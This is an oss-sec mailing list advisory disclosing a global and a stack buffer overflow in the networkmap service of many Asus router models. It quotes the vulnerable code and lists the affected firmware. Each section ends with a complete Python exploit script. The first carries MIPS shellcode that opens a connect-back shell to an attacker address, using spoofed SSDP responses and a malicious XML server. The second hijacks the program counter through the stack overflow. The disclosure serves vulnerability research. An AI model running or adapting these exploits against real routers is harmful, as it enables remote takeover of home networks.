oss-sec mailing list archives

Asus wireless routers Global buffer overflow and Stack buffer overflow in networkmap


From: "????????????" <598930392 () qq com>
Date: Wed, 12 Jul 2017 15:52:16 +0800

=============================================================
                                               Global buffer overflow
=============================================================

[Vulnerability]:
Global buffer overflow in networkmap


------------------------------------------
[Exploitation]:
Can write data at any address in heap


------------------------------------------
[Vendor of Product]:
Asus wireless router


------------------------------------------
[Affected Products and firmware version]:
Asuswrt-Merlin ,all the firmware and the latest firmware is 380.66_6
RT-AC5300 ,all the firmware,and the latest firmware is 3.0.0.4.380.7743
RT_AC1900P ,all the firmware,and the latest firmware is 3.0.0.4.380.7743
RT-AC68U        ,all the firmware,and the latest firmware is 3.0.0.4.380.7743
RT-AC68P        ,all the firmware,and the latest firmware is 3.0.0.4.380.7743
RT-AC88U        ,all the firmware,and the latest firmware is 3.0.0.4.380.7743
RT-AC66U        ,all the firmware,and the latest firmware is 3.0.0.4.380.7743
RT-AC66U_B1 ,all the firmware,and the latest firmware is 3.0.0.4.380.7743
RT-AC58U        ,all the firmware,and the latest firmware is 3.0.0.4.380.7485
RT-AC56U        ,all the firmware,and the latest firmware is 3.0.0.4.380.7743
RT-AC55U        ,all the firmware,and the latest firmware is 3.0.0.4.380.7378
RT-AC52U        ,all the firmware,and the latest firmware is 3.0.0.4.380.4180
RT-AC51U        ,all the firmware,and the latest firmware is 3.0.0.4.380.7378
RT-N18U         ,all the firmware,and the latest firmware is 3.0.0.4.380.7743
RT-N66U         ,all the firmware,and the latest firmware is 3.0.0.4.380.7378
RT-N56U         ,all the firmware,and the latest firmware is 3.0.0.4.378.7177
RT-AC3200 ,all the firmware,and the latest firmware is 3.0.0.4.380.7743
RT-AC3100 ,all the firmware,and the latest firmware is 3.0.0.4.380.7743
RT_AC1200GU ,all the firmware,and the latest firmware is 3.0.0.4.380.5577
RT_AC1200G ,all the firmware,and the latest firmware is 3.0.0.4.380.3167
RT-AC1200 ,all the firmware,and the latest firmware is 3.0.0.4.380.9880
RT-AC53         ,all the firmware,and the latest firmware is 3.0.0.4.380.9883
RT-N12HP        ,all the firmware,and the latest firmware is 3.0.0.4.380.2943
RT-N12HP_B1 ,all the firmware,and the latest firmware is 3.0.0.4.380.3479
RT-N12D1        ,all the firmware,and the latest firmware is 3.0.0.4.380.7378
RT-N12+         ,all the firmware,and the latest firmware is 3.0.0.4.380.7378
RT_N12+_PRO ,all the firmware,and the latest firmware is 3.0.0.4.380.9880
RT-N16  ,all the firmware,and the latest firmware is 3.0.0.4.380.7378
RT-N300         ,all the firmware,and the latest firmware is 3.0.0.4.380.7378


------------------------------------------
[Attack Type]:
Remote


------------------------------------------
[Can Cause Denial of Service?]:
yes


------------------------------------------
[Reference]:
https://github.com/RMerl/asuswrt-merlin/blob/master/release/src/router/networkmap/function.c#L903-L1032
http://asuswrt.lostrealm.ca/
https://www.asus.com/Networking/RTN12HP_B1/HelpDesk_Download/  (chose the others can download the firmware sourcecode)
https://www.asus.com/Networking/Wireless-Routers-Products/


------------------------------------------
[Discoverer]:
Tianfeng Guan, pkav of Sichuan Silent Information Technology Company Ltd, http://www.silence.com.cn/


------------------------------------------
[Affected components]:
Affected executable application: networkmap
Affected source code file: \release\src\router\networkmap\function.c
Affected function: store_description(char *msg)


------------------------------------------
[Vulnerability description]:
When the function process_device_repsonse of networkmap is parsing the 
SSDP answer from a device and the SSDP answer has indicated the location like:
        HTTP/1.1 200 OK
        Location:HTTP://host:port/path
If the "HTTP://host:port/path" is valid, the networkmap will get the 
device descirption xml by accessing "HTTP://host:port/path",and it will use 
the function store_description to store the device descirption information 
to global sturct device_info.
In the function store_description,there's no limit to the variable s_num,
so that it can cause the global sturct device_info overflow when copy the
data from tmp to description.service[s_num].url .


------------------------------------------
[Vulnerability details]:
In the \release\src\router\networkmap\function.c,
It define the global struct device_info description and the function store_description:
...
struct device_info description;
...
void store_description(char *msg)
{
                ...
        int s_num = 0;
                ...
                while( p!= NULL && p < body)
        {
                ...
                switch(type)
                {
                ...
        case 7:
            strlcpy(description.service[s_num].url, tmp, sizeof(description.service[s_num].url));
            NMP_DEBUG_F("service %d url = %s\n", s_num, tmp);
            s_num++;
            break;
        }
        }
        ...
}


You can see that the s_num variable is incremented in case 7,
But in the while( p!= NULL && p < body),it never check the s_num variable.
And in the \release\src\router\networkmap\networkmap.h,it define the struct device_info:
...
#define LINE_SIZE               200
#define SERVICE_NUM             10
struct service
{
        char name[LINE_SIZE];
        char url[LINE_SIZE];
};
struct device_info
{
        char friendlyname[LINE_SIZE];
        char manufacturer[LINE_SIZE];
        char description[LINE_SIZE];
        char modelname[LINE_SIZE];
        char modelnumber[LINE_SIZE];
        char presentation[LINE_SIZE];
        struct service service[SERVICE_NUM];
        int service_num;
};


Because SERVICE_NUM = 10,so,in the case 7 which in the function store_description, 
when the s_num variable has be incremented and the s_num > 10,
the data copy to struct device_info description.service[s_num].url will overflow.


------------------------------------------
[Exploitation details]:
When the networkmap get the device descirption xml by accessing "HTTP://host:port/path",
we can respond a device descirption xml like:
<?xml><SCPDURL><><SCPDURL><><SCPDURL><><SCPDURL><><SCPDURL><><SCPDURL><><SCPDURL><><SCPDURL><><SCPDURL><><SCPDURL><><SCPDURL>shellcode<></root>
the shellcode will be written to the memory that out of the global struct device_info description.


And then,because the memory maps for networkmap is:
admin@RT-N12HP_B1:/# cat /proc/$(pidof networkmap)/maps
00400000-0040a000 r-xp 00000000 1f:02 104        /usr/sbin/networkmap
0041a000-0041b000 rw-p 0000a000 1f:02 104        /usr/sbin/networkmap
0041b000-00420000 rwxp 0041b000 00:00 0          [heap]
2aaa8000-2aaae000 r-xp 00000000 1f:02 733        /lib/ld-uClibc.so.0
2aaae000-2aaaf000 rw-p 2aaae000 00:00 0 
2aab0000-2aab6000 rw-s 00000000 00:07 0          /SYSV000003e9 (deleted)
2aab6000-2aaba000 rw-s 00000000 00:07 32769      /SYSV000003ea (deleted)
2aabd000-2aabe000 r--p 00005000 1f:02 733        /lib/ld-uClibc.so.0
2aabe000-2aabf000 rw-p 00006000 1f:02 733        /lib/ld-uClibc.so.0
2aabf000-2aaeb000 r-xp 00000000 1f:02 164        /usr/lib/libshared.so
2aaeb000-2aafa000 ---p 2aaeb000 00:00 0 
2aafa000-2aafe000 rw-p 0002b000 1f:02 164        /usr/lib/libshared.so
2aafe000-2ab0f000 rw-p 2aafe000 00:00 0 
2ab0f000-2ab11000 r-xp 00000000 1f:02 235        /usr/lib/libnvram.so
2ab11000-2ab21000 ---p 2ab11000 00:00 0 
2ab21000-2ab22000 rw-p 00002000 1f:02 235        /usr/lib/libnvram.so
2ab22000-2ab30000 r-xp 00000000 1f:02 732        /lib/libgcc_s.so.1
2ab30000-2ab40000 ---p 2ab30000 00:00 0 
2ab40000-2ab41000 rw-p 0000e000 1f:02 732        /lib/libgcc_s.so.1
2ab41000-2ab79000 r-xp 00000000 1f:02 728        /lib/libc.so.0
2ab79000-2ab89000 ---p 2ab79000 00:00 0 
2ab89000-2ab8a000 rw-p 00038000 1f:02 728        /lib/libc.so.0
2ab8a000-2ab8e000 rw-p 2ab8a000 00:00 0 
2ab8e000-2ab96000 r--s 00000000 00:0b 297        /dev/nvram
7fc20000-7fc35000 rwxp 7fc20000 00:00 0          [stack]
7fff7000-7fff8000 r-xp 7fff7000 00:00 0          [vdso]


Both the Program address and the Heap address are not randomized and Continuous.
So when the global struct device_info overflow ,the shellcode could be write to 
the heap ,and the shellcode address in the heap is fixed and Controllable.


------------------------------------------
[exp.py]:
# Tested product and firmware version:
# RT-N12HP_B1 (3.0.0.4.380.3479)


# coding=utf-8


ROUTER_IP = '192.168.2.1'           #asus wireless router ip
IP = '192.168.2.31'                     #attacker ip
INTERACE = 'eth0'                           #attacker host network interface
CONNECTBACK_IP = '192.168.2.31' #the host ip use for connectback shell shellcode
                                                                #the default connectback port is 30583
                                
import time
import socket
import sys
import os
import threading
import socketserver


sc = '<?xml><SCPDURL>'
sc += '<>'
sc += '<SCPDURL>'
sc += '<>'
sc += '<SCPDURL>'
sc += '<>'
sc += '<SCPDURL>'
sc += '<>'
sc += '<SCPDURL>'
sc += '<>'
sc += '<SCPDURL>'
sc += '<>'
sc += '<SCPDURL>'
sc += '<>'
sc += '<SCPDURL>'
sc += '<>'
sc += '<SCPDURL>'
sc += '<>'
sc += '<SCPDURL>'
sc += '<>'
sc += '<SCPDURL>'
sc += b'\xff\xff\x04\x28'
sc += b'\xbb\x0f\x02\x24'
sc += b'\x0c\x01\x01\x01'
sc += b'\xfa\xff\x0f\x24'
sc += b'\x27\x78\xe0\x01'
sc += b'\xfd\xff\xe4\x21'
sc += b'\xfd\xff\xe5\x21'
sc += b'\xff\xff\x06\x28'
sc += b'\x57\x10\x02\x24'
sc += b'\x0c\x01\x01\x01'
sc += b'\xff\xff\xa2\xaf'
sc += b'\xff\xff\xa4\x8f'
sc += b'\xfd\xff\x11\x24'
sc += b'\x27\x88\x20\x02'
sc += b'\xe2\xff\xb1\xa7'
sc += b'\x77\x77\x0e\x24'
sc += b'\xe4\xff\xae\xa7'
sc += socket.inet_aton(CONNECTBACK_IP)[0] + socket.inet_aton(CONNECTBACK_IP)[1] + b'\x0e\x34'
sc += b'\xe6\xff\xae\xa7'
sc += socket.inet_aton(CONNECTBACK_IP)[2] + socket.inet_aton(CONNECTBACK_IP)[3] + b'\x0e\x24'
sc += b'\xe8\xff\xae\xa7'
sc += b'\xe2\xff\xa5\x27'
sc += b'\xef\xff\x0c\x24'
sc += b'\x27\x30\x80\x01'
sc += b'\x4a\x10\x02\x24'
sc += b'\x0c\x01\x01\x01'
sc += b'\x21\x28\x20\x02'
sc += b'\xdf\x0f\x02\x24'
sc += b'\x0c\x01\x01\x01'
sc += b'\xff\xff\x10\x24'
sc += b'\xff\xff\x31\x22'
sc += b'\xfa\xff\x30\x16'
sc += b'\xff\xff\x06\x28'
sc += b'\x2f\x2f\x0f\x24'
sc += b'\xec\xff\xaf\xa7'
sc += b'\x62\x69\x0f\x24'
sc += b'\xee\xff\xaf\xa7'
sc += b'\x6e\x2f\x0e\x24'
sc += b'\xf0\xff\xae\xa7'
sc += b'\x73\x68\x0e\x24'
sc += b'\xf2\xff\xae\xa7'
sc += b'\xf4\xff\xa0\xaf'
sc += b'\xec\xff\xa4\x27'
sc += b'\xf8\xff\xa4\xaf'
sc += b'\xfc\xff\xa0\xaf'
sc += b'\xf8\xff\xa5\x27'
sc += b'\xab\x0f\x02\x24'
sc += b'\x0c\x01\x01\x01'
sc += '<></root>'


def mac():
    os.system('macchanger -A {}'.format(INTERACE))


os.system('ifconfig {} down; ifconfig {} {} up; route add default gw {};'.format(INTERACE, INTERACE, IP, ROUTER_IP))


class ThreadedHTTPRequestHandler(socketserver.BaseRequestHandler):


    def handle(self):
        print('[-] got shellcode request')
        self.request.recv(1024)
        print("[-] sending shellcode")
        self.request.send(sc)


class ThreadedHTTPServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
    pass


socketserver.TCPServer.allow_reuse_address = True
server = ThreadedHTTPServer(('0.0.0.0', 1337), ThreadedHTTPRequestHandler)
t = threading.Thread(target=server.serve_forever)
t.start()


print("[-] Please opens a new terminal and use ping ROUTER_IP to Speed up SSDP network interaction")


addrinfo = socket.getaddrinfo('239.255.255.250', None)[0]
s = socket.socket(addrinfo[0], socket.SOCK_DGRAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(('239.255.255.250', 1900))
s.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, socket.inet_aton(addrinfo[4][0]) + 
socket.inet_aton('0.0.0.0'))


mac()
times = 0
state = 'Overflow'


while True:
    data, sender = s.recvfrom(1500)
    if sender[0] == ROUTER_IP and sender[1] == 1008:
        print("[-] received SSDP M-SEARCH Package")


        data = {}
        data['Overflow'] = b'HTTP/1.1 200 OK\r\nLocation:HTTP://' + IP.encode() + b':1337/A\r\n\r\n'


        sock = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
        sock.sendto(data[state], sender)


        if state == 'Overflow':
            print("[-] Send the GetXmlRequest to router")
            time.sleep(20)
            os._exit(0)



=============================================================
                                               Stack buffer overflow
=============================================================


[Vulnerability]:
Stack buffer overflow in networkmap


------------------------------------------
[Exploitation]:
Can control the $pc.
Together with the above Global buffer overflow vulnerability,
can remote code execution and then get a connectback shell. 


------------------------------------------
[Vendor of Product]:
Asus wireless router


------------------------------------------
[Affected Products and firmware version]:
Asuswrt-Merlin ,all the firmware and the latest firmware is 380.66_6
RT-AC5300 ,all the firmware,and the latest firmware is 3.0.0.4.380.7743
RT_AC1900P ,all the firmware,and the latest firmware is 3.0.0.4.380.7743
RT-AC68U        ,all the firmware,and the latest firmware is 3.0.0.4.380.7743
RT-AC68P        ,all the firmware,and the latest firmware is 3.0.0.4.380.7743
RT-AC88U        ,all the firmware,and the latest firmware is 3.0.0.4.380.7743
RT-AC66U        ,all the firmware,and the latest firmware is 3.0.0.4.380.7743
RT-AC66U_B1 ,all the firmware,and the latest firmware is 3.0.0.4.380.7743
RT-AC58U        ,all the firmware,and the latest firmware is 3.0.0.4.380.7485
RT-AC56U        ,all the firmware,and the latest firmware is 3.0.0.4.380.7743
RT-AC55U        ,all the firmware,and the latest firmware is 3.0.0.4.380.7378
RT-AC52U        ,all the firmware,and the latest firmware is 3.0.0.4.380.4180
RT-AC51U        ,all the firmware,and the latest firmware is 3.0.0.4.380.7378
RT-N18U         ,all the firmware,and the latest firmware is 3.0.0.4.380.7743
RT-N66U         ,all the firmware,and the latest firmware is 3.0.0.4.380.7378
RT-N56U         ,all the firmware,and the latest firmware is 3.0.0.4.378.7177
RT-AC3200 ,all the firmware,and the latest firmware is 3.0.0.4.380.7743
RT-AC3100 ,all the firmware,and the latest firmware is 3.0.0.4.380.7743
RT_AC1200GU ,all the firmware,and the latest firmware is 3.0.0.4.380.5577
RT_AC1200G ,all the firmware,and the latest firmware is 3.0.0.4.380.3167
RT-AC1200 ,all the firmware,and the latest firmware is 3.0.0.4.380.9880
RT-AC53         ,all the firmware,and the latest firmware is 3.0.0.4.380.9883
RT-N12HP        ,all the firmware,and the latest firmware is 3.0.0.4.380.2943
RT-N12HP_B1 ,all the firmware,and the latest firmware is 3.0.0.4.380.3479
RT-N12D1        ,all the firmware,and the latest firmware is 3.0.0.4.380.7378
RT-N12+         ,all the firmware,and the latest firmware is 3.0.0.4.380.7378
RT_N12+_PRO ,all the firmware,and the latest firmware is 3.0.0.4.380.9880
RT-N16  ,all the firmware,and the latest firmware is 3.0.0.4.380.7378
RT-N300         ,all the firmware,and the latest firmware is 3.0.0.4.380.7378


------------------------------------------
[Attack Type]:
Remote


------------------------------------------
[Can Cause Denial of Service?]:
yes


------------------------------------------
[Reference]:
https://github.com/RMerl/asuswrt-merlin/blob/master/release/src/router/networkmap/function.c#L903-L1032
http://asuswrt.lostrealm.ca/
https://www.asus.com/Networking/RTN12HP_B1/HelpDesk_Download/  (chose the others can download the firmware sourcecode)
https://www.asus.com/Networking/Wireless-Routers-Products/


------------------------------------------
[Discoverer]:
Tianfeng Guan, pkav of Sichuan Silent Information Technology Company Ltd, http://www.silence.com.cn/


------------------------------------------
[Affected components]:
Affected executable application: networkmap
Affected source code file: \release\src\router\networkmap\function.c
Affected function: store_description(char *msg)


------------------------------------------
[Vulnerability details]:
When the function process_device_repsonse of networkmap is parsing the SSDP answer 
from a device and the SSDP answer has indicated the location like:
        HTTP/1.1 200 OK
        Location:HTTP://host:port/path
If the "HTTP://host:port/path" is valid, the networkmap will get the device descirption 
xml by accessing "HTTP://host:port/path",and it will use the function store_description 
to store the device descirption information to global sturct device_info.


In the switch case 6 which in the function store_description:


    case 6: // tmp="urn:schemas-upnp-org:service:serviceType:v"
                mxend = tmp;
                i = 0; j = 0;
                while(i != 4)
                {
                        if(i == 3)
                        tmp[j++] = *mxend;
                        if(*mxend == ':')
                        i++;
                        mxend++;
                }
                tmp[j-1] = '\0';
                strlcpy(description.service[s_num].name, tmp, sizeof(description.service[s_num].name));
                NMP_DEBUG_F("service %d name = %s\n", s_num, tmp);
                break;
                                                
if it couldn't found the fourth ':' in the stack, the stack buffer tmp will be overflow, 
and this stack-based overflow can be used to gain control over networkmap??s control flow 
by overwriting the saved $ra stored on the stack.


------------------------------------------
[Exploitation details]:
when answer the SSDP request, we can send the SSDP answer message like:
        'HTTP/1.1 200 OK\r\nLocation:HTTP://192.168.2.31:1337/' + 'B'*231 + b'\x41\x41\x41:' + '\r\n\r\n'
And When the networkmap get the device descirption xml by accessing "HTTP://192.168.2.31:1337/",
we can respond a device descirption xml like:
        <?xml><serviceType>AAAA<></root>
And then, after the code in case 6,the stack buffer tmp will be overflow,and the 
data start from stack buffer tmp will become 'B'*231 + b'\x41\x41\x41',
and it lead to the $ra and $pc being set to 0x00414141.


Now we can control the $pc by overwriting the saved $ra stored on the stack. 
For further exploitation,to get a ConnectBack shell,we can use the "Write data
at any address in heap" vulnerability which also in function store_description,
to write the ConnectBack shell shellcode on a fixed heap address,and then we 
can use this Code Execution vulnerability to let $pc be set as the ConnectBack shell shellcode address.


------------------------------------------
[exp.py]:
# Tested product and firmware version:
# RT-N12HP_B1 (3.0.0.4.380.3479)


# coding=utf-8


ROUTER_IP = '192.168.2.1'           #asus wireless router ip
IP = '192.168.2.31'                     #attacker ip
INTERACE = 'eth0'                           #attacker host network interface


import time
import socket
import sys
import os
import threading
import socketserver


sc = '<?xml>'
sc += '<serviceType>'
sc += b'AAAA' * 49
sc += 'AA<></root>'


def mac():
    os.system('macchanger -A {}'.format(INTERACE))


os.system('ifconfig {} down; ifconfig {} {} up; route add default gw {};'.format(INTERACE, INTERACE, IP, ROUTER_IP))


class ThreadedHTTPRequestHandler(socketserver.BaseRequestHandler):


    def handle(self):
        print('[-] got xml request')
        self.request.recv(1024)
        print("[-] sending xml")
        self.request.send(sc)


class ThreadedHTTPServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
    pass


socketserver.TCPServer.allow_reuse_address = True
server = ThreadedHTTPServer(('0.0.0.0', 1337), ThreadedHTTPRequestHandler)
t = threading.Thread(target=server.serve_forever)
t.start()


print("[-] Please opens a new terminal and use ping ROUTER_IP to Speed up SSDP network interaction")


addrinfo = socket.getaddrinfo('239.255.255.250', None)[0]
s = socket.socket(addrinfo[0], socket.SOCK_DGRAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(('239.255.255.250', 1900))
s.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, socket.inet_aton(addrinfo[4][0]) + 
socket.inet_aton('0.0.0.0'))


mac()
times = 0
state = 'Overflow'


while True:
    data, sender = s.recvfrom(1500)
    if sender[0] == ROUTER_IP and sender[1] == 1008:
        print("[-] received SSDP M-SEARCH Package")


        data = {}
        data['Overflow'] = b'HTTP/1.1 200 OK\r\nLocation:HTTP://' + IP.encode() + b':1337/' + 'B'*231 + 
b'\xe0\xbb\x41:' + '\r\n\r\n'


        sock = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
        sock.sendto(data[state], sender)


        if state == 'Overflow':
            print("[-] Send the GetXmlRequest to router")
            time.sleep(20)
            os._exit(0)

Current thread: